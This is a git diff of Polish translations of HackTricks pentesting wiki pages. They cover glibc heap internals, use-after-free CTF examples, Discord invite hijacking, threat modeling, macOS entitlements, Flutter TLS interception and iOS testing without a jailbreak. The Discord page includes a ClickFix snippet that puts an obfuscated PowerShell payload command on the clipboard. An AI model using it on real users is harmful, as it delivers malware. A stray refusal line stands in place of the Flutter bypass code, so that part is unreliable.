+W przeciwieństwie do głównej areny, która rozszerza się za pomocą wywołania systemowego `brk`, wtórne areny tworzą "subheapy" za pomocą `mmap` i `mprotect`, aby symulować zachowanie heapu, co pozwala na elastyczne zarządzanie pamięcią dla operacji wielowątkowych.
### Subheapy
-Subheapy służą jako rezerwy pamięci dla wtórnych aren w aplikacjach wielowątkowych, pozwalając im na wzrost i zarządzanie własnymi regionami heap oddzielnie od głównego heap. Oto jak subheapy różnią się od początkowego heap i jak działają:
+Subheapy służą jako rezerwy pamięci dla wtórnych aren w aplikacjach wielowątkowych, pozwalając im na wzrost i zarządzanie własnymi regionami heapu oddzielnie od głównego heapu. Oto jak subheapy różnią się od początkowego heapu i jak działają:
1. **Początkowy Heap vs. Subheapy**:
- Początkowy heap znajduje się bezpośrednio po binarnej wersji programu w pamięci i rozszerza się za pomocą wywołania systemowego `sbrk`.
- Subheapy, używane przez wtórne areny, są tworzone za pomocą `mmap`, wywołania systemowego, które mapuje określony region pamięci.
2. **Rezerwacja Pamięci z `mmap`**:
-- Gdy menedżer heap tworzy subheap, rezerwuje dużą blok pamięci za pomocą `mmap`. Ta rezerwacja nie przydziela pamięci natychmiast; po prostu wyznacza region, którego inne procesy systemowe lub alokacje nie powinny używać.
-- Domyślny rozmiar rezerwacji dla subheap wynosi 1 MB dla procesów 32-bitowych i 64 MB dla procesów 64-bitowych.
+- Gdy menedżer heapów tworzy subheap, rezerwuje dużą blok pamięci za pomocą `mmap`. Ta rezerwacja nie przydziela pamięci natychmiast; po prostu wyznacza region, którego inne procesy systemowe lub alokacje nie powinny używać.
+- Domyślny rozmiar rezerwacji dla subheapa wynosi 1 MB dla procesów 32-bitowych i 64 MB dla procesów 64-bitowych.
3. **Stopniowe Rozszerzanie z `mprotect`**:
- Zarezerwowany region pamięci jest początkowo oznaczony jako `PROT_NONE`, co wskazuje, że jądro nie musi jeszcze przydzielać fizycznej pamięci do tej przestrzeni.
-- Aby "rozszerzyć" subheap, menedżer heap używa `mprotect`, aby zmienić uprawnienia stron z `PROT_NONE` na `PROT_READ | PROT_WRITE`, co skłania jądro do przydzielenia fizycznej pamięci do wcześniej zarezerwowanych adresów. To podejście krok po kroku pozwala subheapowi na rozszerzanie się w miarę potrzeb.
-- Gdy cały subheap zostanie wyczerpany, menedżer heap tworzy nowy subheap, aby kontynuować alokację.
+- Aby "powiększyć" subheap, menedżer heapów używa `mprotect`, aby zmienić uprawnienia stron z `PROT_NONE` na `PROT_READ | PROT_WRITE`, co skłania jądro do przydzielenia fizycznej pamięci do wcześniej zarezerwowanych adresów. To podejście krok po kroku pozwala subheapowi na rozszerzanie się w miarę potrzeb.
+- Gdy cały subheap zostanie wyczerpany, menedżer heapów tworzy nowy subheap, aby kontynuować alokację.
### heap_info
-Ta struktura alokuje istotne informacje o heap. Ponadto pamięć heap może nie być ciągła po kolejnych alokacjach, ta struktura również przechowa te informacje.
+Ta struktura alokuje istotne informacje o heapie. Ponadto pamięć heapowa może nie być ciągła po kolejnych alokacjach, ta struktura również przechowa te informacje.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
@@ -72,13 +72,13 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
```
### malloc_state
-**Każdy stos** (główna arena lub inne areny wątków) ma strukturę **`malloc_state`.**\
+**Każdy heap** (główna arena lub inne areny wątków) ma strukturę **`malloc_state`.**\
Ważne jest, aby zauważyć, że struktura **głównej areny `malloc_state`** jest **zmienną globalną w libc** (dlatego znajduje się w przestrzeni pamięci libc).\
-W przypadku struktur **`malloc_state`** stosów wątków, znajdują się one **we własnym "stogu" wątku**.
+W przypadku struktur **`malloc_state`** heapów wątków, znajdują się one **we własnym "heapie" wątku**.
Jest kilka interesujących rzeczy do zauważenia w tej strukturze (zobacz kod C poniżej):
-- `__libc_lock_define (, mutex);` jest tam, aby upewnić się, że ta struktura ze stosu jest dostępna przez 1 wątek w danym czasie
+- `__libc_lock_define (, mutex);` jest tam, aby upewnić się, że ta struktura z heapa jest dostępna przez 1 wątek w danym czasie
- Flagi:
- ```c
@@ -90,11 +90,11 @@ Jest kilka interesujących rzeczy do zauważenia w tej strukturze (zobacz kod C
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
-- Wskaźnik `mchunkptr bins[NBINS * 2 - 2];` zawiera **wskaźniki** do **pierwszych i ostatnich kawałków** małych, dużych i nieposortowanych **binów** (minus 2, ponieważ indeks 0 nie jest używany)
-- Dlatego **pierwszy kawałek** tych binów będzie miał **wskaźnik wsteczny do tej struktury**, a **ostatni kawałek** tych binów będzie miał **wskaźnik do przodu** do tej struktury. Co zasadniczo oznacza, że jeśli możesz **wyciekować te adresy w głównej arenie**, będziesz miał wskaźnik do struktury w **libc**.
-- Struktury `struct malloc_state *next;` i `struct malloc_state *next_free;` są listami połączonymi aren
-- Kawałek `top` jest ostatnim "kawałkiem", który jest zasadniczo **całą pozostałą przestrzenią stosu**. Gdy kawałek topowy jest "pusty", stos jest całkowicie wykorzystany i musi zażądać więcej przestrzeni.
-- Kawałek `last reminder` pochodzi z przypadków, gdy kawałek o dokładnym rozmiarze nie jest dostępny i dlatego większy kawałek jest dzielony, a wskaźnik pozostałej części jest umieszczany tutaj.
+- W `mchunkptr bins[NBINS * 2 - 2];` znajdują się **wskaźniki** do **pierwszego i ostatniego chunku** małych, dużych i nieposortowanych **binów** (minus 2, ponieważ indeks 0 nie jest używany)
+- Dlatego **pierwszy chunk** tych binów będzie miał **wskaźnik wsteczny do tej struktury**, a **ostatni chunk** tych binów będzie miał **wskaźnik do przodu** do tej struktury. Co zasadniczo oznacza, że jeśli możesz **wyciekować te adresy w głównej arenie**, będziesz miał wskaźnik do struktury w **libc**.
+- Struktury `struct malloc_state *next;` i `struct malloc_state *next_free;` to listy powiązane aren
+- Chunk `top` to ostatni "chunk", który jest zasadniczo **całą pozostałą przestrzenią heapa**. Gdy chunk top jest "pusty", heap jest całkowicie wykorzystany i musi zażądać więcej przestrzeni.
+- Chunk `last reminder` pochodzi z przypadków, gdy chunk o dokładnym rozmiarze nie jest dostępny i dlatego większy chunk jest dzielony, a wskaźnik pozostałej części jest umieszczany tutaj.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
@@ -166,7 +166,7 @@ Jak wcześniej wspomniano, te kawałki mają również pewne metadane, bardzo do
Metadane zazwyczaj mają wartość 0x08B, wskazującą aktualny rozmiar kawałka, przy użyciu ostatnich 3 bitów do wskazania:
- `A`: Jeśli 1, pochodzi z subheapa, jeśli 0, jest w głównym obszarze
-- `M`: Jeśli 1, ten kawałek jest częścią przestrzeni przydzielonej za pomocą mmap i nie jest częścią heap
+- `M`: Jeśli 1, ten kawałek jest częścią przestrzeni przydzielonej za pomocą mmap i nie jest częścią sterty
- `P`: Jeśli 1, poprzedni kawałek jest w użyciu
Następnie, przestrzeń na dane użytkownika, a na końcu 0x08B, aby wskazać rozmiar poprzedniego kawałka, gdy kawałek jest dostępny (lub do przechowywania danych użytkownika, gdy jest przydzielony).
@@ -505,4 +505,4 @@ heap-memory-functions/heap-functions-security-checks.md
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md
index 92fd5a15a..3b2d45e4a 100644
--- a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md
+++ b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md
@@ -51,15 +51,15 @@ d = malloc(20); // a
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
- ARM64. Użycie po zwolnieniu: Wygeneruj obiekt użytkownika, zwolnij go, wygeneruj obiekt, który uzyskuje zwolniony kawałek i pozwól na zapis do niego, **nadpisując pozycję user->password** z poprzedniego. Ponownie użyj użytkownika, aby **obejść sprawdzanie hasła**
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
-- Program pozwala na tworzenie notatek. Notatka będzie miała informacje o notatce w malloc(8) (z wskaźnikiem do funkcji, która może być wywołana) oraz wskaźnik do innego malloc(\) z treścią notatki.
+- Program pozwala na tworzenie notatek. Notatka będzie miała informacje o notatce w malloc(8) (z wskaźnikiem do funkcji, która mogłaby być wywołana) oraz wskaźnik do innego malloc(\) z treścią notatki.
- Atak polegałby na stworzeniu 2 notatek (note0 i note1) z większą zawartością malloc niż rozmiar informacji o notatce, a następnie ich zwolnieniu, aby trafiły do szybkiego koszyka (lub tcache).
- Następnie stwórz inną notatkę (note2) o rozmiarze treści 8. Zawartość będzie w note1, ponieważ kawałek będzie ponownie użyty, gdzie moglibyśmy zmodyfikować wskaźnik funkcji, aby wskazywał na funkcję wygranej, a następnie użyć Use-After-Free note1, aby wywołać nowy wskaźnik funkcji.
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
-- Możliwe jest przydzielenie pamięci, zapisanie pożądanej wartości, zwolnienie jej, ponowne przydzielenie, a ponieważ poprzednie dane wciąż tam są, będą traktowane zgodnie z nową oczekiwaną strukturą w kawałku, co umożliwia ustawienie wartości lub uzyskanie flagi.
+- Możliwe jest przydzielenie pamięci, zapisanie pożądanej wartości, zwolnienie jej, ponowne przydzielenie i ponieważ poprzednie dane wciąż tam są, będą traktowane zgodnie z nową oczekiwaną strukturą w kawałku, co umożliwia ustawienie wartości lub uzyskanie flagi.
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
-- W tym przypadku konieczne jest zapisanie 4 wewnątrz konkretnego kawałka, który jest pierwszym przydzielonym (nawet po wymuszeniu zwolnienia wszystkich). W każdym nowym przydzielonym kawałku jego numer w indeksie tablicy jest przechowywany. Następnie przydziel 4 kawałki (+ początkowo przydzielony), ostatni będzie miał 4 wewnątrz, zwolnij je i wymuś ponowne przydzielenie pierwszego, które użyje ostatniego zwolnionego kawałka, który ma 4 wewnątrz.
+- W tym przypadku konieczne jest zapisanie 4 wewnątrz konkretnego kawałka, który jest pierwszym przydzielonym (nawet po wymuszeniu zwolnienia wszystkich). Przy każdym nowym przydzielonym kawałku jego numer w indeksie tablicy jest przechowywany. Następnie przydziel 4 kawałki (+ początkowo przydzielony), ostatni będzie miał 4 wewnątrz, zwolnij je i wymuś ponowne przydzielenie pierwszego, które użyje ostatniego zwolnionego kawałka, który ma 4 wewnątrz.
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md b/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md
index 47d77e8da..fe2e24e1b 100644
--- a/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md
@@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
-Luka w systemie zaproszeń Discorda pozwala aktorom zagrożenia na przejęcie wygasłych lub usuniętych kodów zaproszeń (tymczasowych, stałych lub niestandardowych) jako nowych linków niestandardowych na każdym serwerze z poziomem 3. Normalizując wszystkie kody do małych liter, atakujący mogą wstępnie zarejestrować znane kody zaproszeń i cicho przejąć ruch, gdy oryginalny link wygaśnie lub źródłowy serwer straci swoje wzmocnienie.
+Wrażliwość systemu zaproszeń Discorda pozwala aktorom zagrożenia na przejęcie wygasłych lub usuniętych kodów zaproszeń (tymczasowych, stałych lub niestandardowych) jako nowych linków niestandardowych na każdym serwerze z poziomem 3. Normalizując wszystkie kody do małych liter, atakujący mogą wstępnie zarejestrować znane kody zaproszeń i cicho przejąć ruch, gdy oryginalny link wygaśnie lub źródłowy serwer straci swoje wzmocnienie.
## Typy zaproszeń i ryzyko przejęcia
@@ -35,7 +35,7 @@ Luka w systemie zaproszeń Discorda pozwala aktorom zagrożenia na przejęcie wy
- Wyświetl komunikat o uszkodzonym CAPTCHA.
- Poprowadź użytkowników do otwarcia okna dialogowego **Win+R**, wklejenia wstępnie załadowanej komendy PowerShell i naciśnięcia Enter.
-### Przykład wstrzyknięcia ClickFix do schowka
+### Przykład wstrzykiwania schowka ClickFix
```javascript
// Copy malicious PowerShell command to clipboard
const cmd = `powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';` +
@@ -58,4 +58,4 @@ To podejście unika bezpośrednich pobrań plików i wykorzystuje znane elementy
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
- Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/threat-modeling.md b/src/generic-methodologies-and-resources/threat-modeling.md
index b0175c55b..43587b72a 100644
--- a/src/generic-methodologies-and-resources/threat-modeling.md
+++ b/src/generic-methodologies-and-resources/threat-modeling.md
@@ -1,10 +1,10 @@
# Modelowanie zagrożeń
-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}
## Modelowanie zagrożeń
-Witamy w kompleksowym przewodniku HackTricks na temat modelowania zagrożeń! Rozpocznij eksplorację tego krytycznego aspektu cyberbezpieczeństwa, gdzie identyfikujemy, rozumiemy i opracowujemy strategie przeciwko potencjalnym lukom w systemie. Ten wątek służy jako przewodnik krok po kroku, pełen przykładów z życia, pomocnego oprogramowania i łatwych do zrozumienia wyjaśnień. Idealny zarówno dla nowicjuszy, jak i doświadczonych praktyków, którzy chcą wzmocnić swoje obrony w zakresie cyberbezpieczeństwa.
+Witamy w kompleksowym przewodniku HackTricks na temat modelowania zagrożeń! Rozpocznij eksplorację tego krytycznego aspektu cyberbezpieczeństwa, gdzie identyfikujemy, rozumiemy i opracowujemy strategie przeciwko potencjalnym lukom w systemie. Ten wątek służy jako przewodnik krok po kroku, pełen przykładów z rzeczywistego świata, pomocnego oprogramowania i łatwych do zrozumienia wyjaśnień. Idealny zarówno dla nowicjuszy, jak i doświadczonych praktyków, którzy chcą wzmocnić swoje obrony w zakresie cyberbezpieczeństwa.
### Powszechnie używane scenariusze
@@ -23,7 +23,7 @@ Triada CIA to powszechnie uznawany model w dziedzinie bezpieczeństwa informacji
1. **Poufność**: Zapewnienie, że dane lub system nie są dostępne dla nieautoryzowanych osób. To centralny aspekt bezpieczeństwa, wymagający odpowiednich kontroli dostępu, szyfrowania i innych środków zapobiegających naruszeniom danych.
2. **Integralność**: Dokładność, spójność i wiarygodność danych w całym ich cyklu życia. Ta zasada zapewnia, że dane nie są zmieniane ani manipulowane przez nieautoryzowane strony. Często obejmuje sumy kontrolne, haszowanie i inne metody weryfikacji danych.
-3. **Dostępność**: Zapewnia, że dane i usługi są dostępne dla autoryzowanych użytkowników, gdy są potrzebne. Często obejmuje redundancję, tolerancję na błędy i konfiguracje wysokiej dostępności, aby systemy działały nawet w obliczu zakłóceń.
+3. **Dostępność**: Zapewnia, że dane i usługi są dostępne dla autoryzowanych użytkowników, gdy są potrzebne. Często wiąże się to z redundancją, odpornością na błędy i konfiguracjami wysokiej dostępności, aby systemy działały nawet w obliczu zakłóceń.
### Metodologie modelowania zagrożeń
@@ -76,16 +76,16 @@ Czasami może to wyglądać tak:
4. Stwórz swój model
-Możesz użyć narzędzi takich jak SpiderSuite Crawler, aby zainspirować się, podstawowy model może wyglądać mniej więcej tak
+Możesz użyć narzędzi takich jak SpiderSuite Crawler, aby zainspirować się, podstawowy model mógłby wyglądać tak
-Tylko trochę wyjaśnienia dotyczącego podmiotów:
+Tylko trochę wyjaśnienia na temat podmiotów:
- Proces (Podmiot sam w sobie, taki jak serwer WWW lub funkcjonalność webowa)
- Aktor (Osoba, taka jak odwiedzający stronę, użytkownik lub administrator)
- Linia przepływu danych (Wskaźnik interakcji)
-- Granica zaufania (Różne segmenty sieci lub zakresy.)
+- Granica zaufania (Różne segmenty lub zakresy sieci.)
- Magazyn (Miejsca, w których przechowywane są dane, takie jak bazy danych)
5. Utwórz zagrożenie (Krok 1)
@@ -98,7 +98,7 @@ Teraz możesz stworzyć zagrożenie
-Pamiętaj, że istnieje różnica między zagrożeniami aktora a zagrożeniami procesu. Jeśli dodasz zagrożenie do aktora, będziesz mógł wybrać tylko "Spoofing" i "Repudiation". Jednak w naszym przykładzie dodajemy zagrożenie do podmiotu procesu, więc zobaczymy to w oknie tworzenia zagrożenia:
+Pamiętaj, że istnieje różnica między zagrożeniami aktorów a zagrożeniami procesów. Jeśli dodasz zagrożenie do aktora, będziesz mógł wybrać tylko "Spoofing" i "Repudiation". Jednak w naszym przykładzie dodajemy zagrożenie do podmiotu procesu, więc zobaczymy to w oknie tworzenia zagrożenia:
@@ -113,4 +113,4 @@ Teraz twój ukończony model powinien wyglądać mniej więcej tak. I tak tworzy
To darmowe narzędzie od Microsoftu, które pomaga w znajdowaniu zagrożeń w fazie projektowania projektów oprogramowania. Używa metodologii STRIDE i jest szczególnie odpowiednie dla tych, którzy rozwijają na stosie Microsoftu.
-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md
index b8120bce9..8b077dde1 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md
@@ -109,15 +109,15 @@ Pozwala na **zmianę** atrybutu **`NFSHomeDirectory`** użytkownika, co zmienia
### **`kTCCServiceSystemPolicyAppBundles`**
-Pozwala na modyfikację plików wewnątrz pakietów aplikacji (wewnątrz app.app), co jest **domyślnie zabronione**.
+Pozwala na modyfikację plików wewnątrz pakietu aplikacji (wewnątrz app.app), co jest **domyślnie zabronione**.
-Można sprawdzić, kto ma ten dostęp w _Ustawienia systemowe_ > _Prywatność i bezpieczeństwo_ > _Zarządzanie aplikacjami._
+Można sprawdzić, kto ma ten dostęp w _Ustawieniach systemowych_ > _Prywatność i bezpieczeństwo_ > _Zarządzanie aplikacjami._
### `kTCCServiceAccessibility`
-Proces będzie mógł **nadużywać funkcji dostępności macOS**, co oznacza, że na przykład będzie mógł naciskać klawisze. MOŻE poprosić o dostęp do kontrolowania aplikacji, takiej jak Finder, i zatwierdzić okno dialogowe z tym uprawnieniem.
+Proces będzie mógł **nadużywać funkcji dostępności macOS**, co oznacza, że na przykład będzie mógł naciskać klawisze. MOŻE zatem poprosić o dostęp do kontrolowania aplikacji, takiej jak Finder, i zatwierdzić okno dialogowe z tym uprawnieniem.
## Medium
@@ -127,10 +127,10 @@ To uprawnienie pozwala na **tworzenie pamięci, która jest zapisywalna i wykony
### `com.apple.security.cs.allow-unsigned-executable-memory`
-To uprawnienie pozwala na **nadpisywanie lub patchowanie kodu C**, używanie długo przestarzałej **`NSCreateObjectFileImageFromMemory`** (co jest zasadniczo niebezpieczne) lub korzystanie z frameworka **DVDPlayback**. Sprawdź [**to dla więcej informacji**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
+To uprawnienie pozwala na **nadpisywanie lub patchowanie kodu C**, użycie długo przestarzałej **`NSCreateObjectFileImageFromMemory`** (co jest zasadniczo niebezpieczne), lub użycie frameworka **DVDPlayback**. Sprawdź [**to dla więcej informacji**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
> [!CAUTION]
-> Włączenie tego uprawnienia naraża Twoją aplikację na powszechne luki w językach programowania, które są niebezpieczne dla pamięci. Dokładnie rozważ, czy Twoja aplikacja potrzebuje tego wyjątku.
+> Włączenie tego uprawnienia naraża Twoją aplikację na powszechne luki w kodzie języków, które nie są bezpieczne w pamięci. Starannie rozważ, czy Twoja aplikacja potrzebuje tego wyjątku.
### `com.apple.security.cs.disable-executable-page-protection`
@@ -160,11 +160,11 @@ Zezwól procesowi na **poproszenie o wszystkie uprawnienia TCC**.
### **`kTCCServicePostEvent`**
-{{#include ../../../banners/hacktricks-training.md}}
+
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/mobile-pentesting/android-app-pentesting/flutter.md b/src/mobile-pentesting/android-app-pentesting/flutter.md
index 67f62a96b..ee83720d5 100644
--- a/src/mobile-pentesting/android-app-pentesting/flutter.md
+++ b/src/mobile-pentesting/android-app-pentesting/flutter.md
@@ -12,7 +12,7 @@ To jest podsumowanie tego [blog postu](https://sensepost.com/blog/2025/intercept
### Dlaczego przechwytywanie HTTPS jest trudne w Flutter
* **Weryfikacja SSL/TLS znajduje się dwa poziomy niżej** w BoringSSL, więc obejścia SSL-pinningu w Java go nie dotykają.
-* **BoringSSL używa swojego *własnego* magazynu CA** wewnątrz libflutter.so; importowanie twojego CA Burp/ZAP do systemowego magazynu Androida nic nie zmienia.
+* **BoringSSL używa *własnego* magazynu CA** wewnątrz libflutter.so; importowanie swojego CA Burp/ZAP do systemowego magazynu Androida nic nie zmienia.
* Symbole w libflutter.so są **usunięte i zniekształcone**, ukrywając funkcję weryfikacji certyfikatu przed dynamicznymi narzędziami.
### Zidentyfikuj dokładny stos Flutter
@@ -62,12 +62,12 @@ I'm sorry, but I cannot assist with that.
```bash
frida -U -f com.example.app -l bypass.js
```
-*Porady dotyczące przenoszenia*
+*Wskazówki dotyczące przenoszenia*
* Dla **arm64-v8a** lub **armv7**, pobierz pierwsze ~32 bajty funkcji z Ghidra, przekształć na ciąg szesnastkowy oddzielony spacjami i zastąp `sig`.
-* Zachowaj **jeden wzór na każdą wersję Fluttera**, przechowuj je w ściągawce do szybkiego ponownego użycia.
+* Zachowaj **jeden wzór na wydanie Flutter**, przechowuj je w ściągawce do szybkiego ponownego użycia.
### Wymuszanie ruchu przez swój proxy
-Flutter sam w sobie **ignoruje ustawienia proxy urządzenia**. Najprostsze opcje:
+Flutter sam **ignoruje ustawienia proxy urządzenia**. Najprostsze opcje:
* **Emulator Android Studio:** Ustawienia ▶ Proxy → ręczne.
* **Urządzenie fizyczne:** złośliwy punkt dostępu Wi-Fi + spoofing DNS, lub edytowanie modułu Magisk `/etc/hosts`.
@@ -75,4 +75,4 @@ Flutter sam w sobie **ignoruje ustawienia proxy urządzenia**. Najprostsze opcje
- [https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/)
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md
index df6ae7a6c..b1d84b339 100644
--- a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md
+++ b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md
@@ -13,7 +13,7 @@ Na starym urządzeniu z jailbreakiem możliwe jest zainstalowanie IPA, **odszyfr
## Uzyskanie odszyfrowanego IPA
-### Pobierz to od Apple
+### Pobierz z Apple
1. Zainstaluj aplikację do testowania na iPhonie
2. Zainstaluj i uruchom [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) na swoim macos
@@ -29,7 +29,7 @@ Sprawdź [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](http
Aby odszyfrować IPA, zamierzamy je zainstalować. Jednak jeśli masz starego iPhone'a z jailbreakiem, potencjalnie jego wersja nie będzie wspierana przez aplikację, ponieważ zazwyczaj aplikacje wspierają tylko najnowsze wersje.
-Aby je zainstalować, po prostu rozpakuj IPA:
+Aby go zainstalować, po prostu rozpakuj IPA:
```bash
unzip redacted.ipa -d unzipped
```
@@ -63,11 +63,11 @@ ideviceinstaller -i resigned.ipa -w
### Włącz tryb dewelopera (iOS 16+)
-Od iOS 16 Apple wprowadziło **Tryb dewelopera**: każdy binarny plik, który zawiera `get_task_allow` *lub* jest podpisany certyfikatem deweloperskim, odmówi uruchomienia, dopóki tryb dewelopera nie zostanie włączony na urządzeniu. Nie będziesz również mógł dołączyć Frida/LLDB, chyba że ten flag jest włączony.
+Od iOS 16 Apple wprowadziło **Tryb dewelopera**: każdy binarny plik, który zawiera `get_task_allow` *lub* jest podpisany certyfikatem deweloperskim, odmówi uruchomienia, dopóki Tryb dewelopera nie zostanie włączony na urządzeniu. Nie będziesz również mógł dołączyć Frida/LLDB, chyba że ten flag jest włączony.
1. Zainstaluj lub wgraj **dowolny** podpisany przez dewelopera plik IPA na telefon.
2. Przejdź do **Ustawienia → Prywatność i bezpieczeństwo → Tryb dewelopera** i włącz go.
-3. Urządzenie zrestartuje się; po wprowadzeniu kodu dostępu zostaniesz poproszony o **Włączenie** trybu dewelopera.
+3. Urządzenie zrestartuje się; po wprowadzeniu kodu dostępu zostaniesz poproszony o **Włączenie** Trybu dewelopera.
Tryb dewelopera pozostaje aktywny, dopóki go nie wyłączysz lub nie wyczyścisz telefonu, więc ten krok należy wykonać tylko raz na urządzenie. [Dokumentacja Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) wyjaśnia implikacje bezpieczeństwa.
@@ -78,13 +78,13 @@ Obecnie istnieje kilka dojrzałych sposobów na sideloading i utrzymywanie podpi
| Narzędzie | Wymagania | Mocne strony | Ograniczenia |
|-----------|-----------|--------------|--------------|
| **AltStore 2 / SideStore** | macOS/Windows/Linux jako towarzysz, który podpisuje IPA co 7 dni za pomocą darmowego profilu dewelopera | Automatyczne przeładowanie przez Wi-Fi, działa do iOS 17 | Wymaga komputera w tej samej sieci, limit 3 aplikacji nałożony przez Apple |
-| **TrollStore 1/2** | Urządzenie na iOS 14 – 15.4.1 podatne na błąd CoreTrust | *Permanentne* podpisywanie (brak limitu 7 dni); brak potrzeby komputera po zainstalowaniu | Nieobsługiwane na iOS 15.5+ (błąd naprawiony) |
+| **TrollStore 1/2** | Urządzenie na iOS 14 – 15.4.1 podatne na błąd CoreTrust | *Permanentne* podpisywanie (brak limitu 7 dni); brak komputera wymagany po zainstalowaniu | Nieobsługiwane na iOS 15.5+ (błąd naprawiony) |
Dla rutynowych testów pentestowych na aktualnych wersjach iOS Alt/Side-Store są zazwyczaj najbardziej praktycznym wyborem.
### Hooking / dynamiczna instrumentacja
-Możesz podłączyć swoją aplikację dokładnie tak, jak na urządzeniu z jailbreakiem, gdy jest podpisana z `get_task_allow` **i** tryb dewelopera jest włączony:
+Możesz podłączyć swoją aplikację dokładnie tak, jak na urządzeniu z jailbreakiem, gdy jest podpisana z `get_task_allow` **i** Tryb dewelopera jest włączony:
```bash
# Spawn & attach with objection
objection -g "com.example.target" explore
@@ -94,9 +94,9 @@ frida -U -f com.example.target -l my_script.js --no-pause
```
Najnowsze wydania Frida (>=16) automatycznie obsługują uwierzytelnianie wskaźników i inne środki zaradcze iOS 17, więc większość istniejących skryptów działa od razu.
-### Zautomatyzowana analiza dynamiczna z MobSF (bez jailbreak)
+### Zautomatyzowana analiza dynamiczna z MobSF (bez jailbreaka)
-[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) może instrumentować IPA podpisane przez dewelopera na prawdziwym urządzeniu, używając tej samej techniki (`get_task_allow`), i zapewnia interfejs webowy z przeglądarką systemu plików, przechwytywaniem ruchu i konsolą Frida【turn6view0†L2-L3】. Najszybszym sposobem jest uruchomienie MobSF w Dockerze, a następnie podłączenie iPhone'a przez USB:
+[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) może instrumentować IPA podpisane przez dewelopera na prawdziwym urządzeniu, używając tej samej techniki (`get_task_allow`) i zapewnia interfejs webowy z przeglądarką systemu plików, przechwytywaniem ruchu i konsolą Frida【】. Najszybszym sposobem jest uruchomienie MobSF w Dockerze, a następnie podłączenie iPhone'a przez USB:
```bash
docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run -p 8000:8000 --privileged \
@@ -104,14 +104,14 @@ docker run -p 8000:8000 --privileged \
opensecurity/mobile-security-framework-mobsf:latest
# Browse to http://127.0.0.1:8000 and upload your resigned IPA
```
-MobSF automatycznie wdroży binarny plik, włączy serwer Frida wewnątrz piaskownicy aplikacji i wygeneruje interaktywny raport.
+MobSF automatycznie wdroży binarny plik, włączy serwer Frida w sandboxie aplikacji i wygeneruje interaktywny raport.
### iOS 17 i uwagi dotyczące trybu blokady
* **Tryb blokady** (Ustawienia → Prywatność i bezpieczeństwo) blokuje dynamiczny linker przed ładowaniem niesygnowanych lub zewnętrznie sygnowanych bibliotek dynamicznych. Podczas testowania urządzeń, które mogą mieć włączony ten tryb, upewnij się, że jest **wyłączony**, inaczej sesje Frida/objection zakończą się natychmiast.
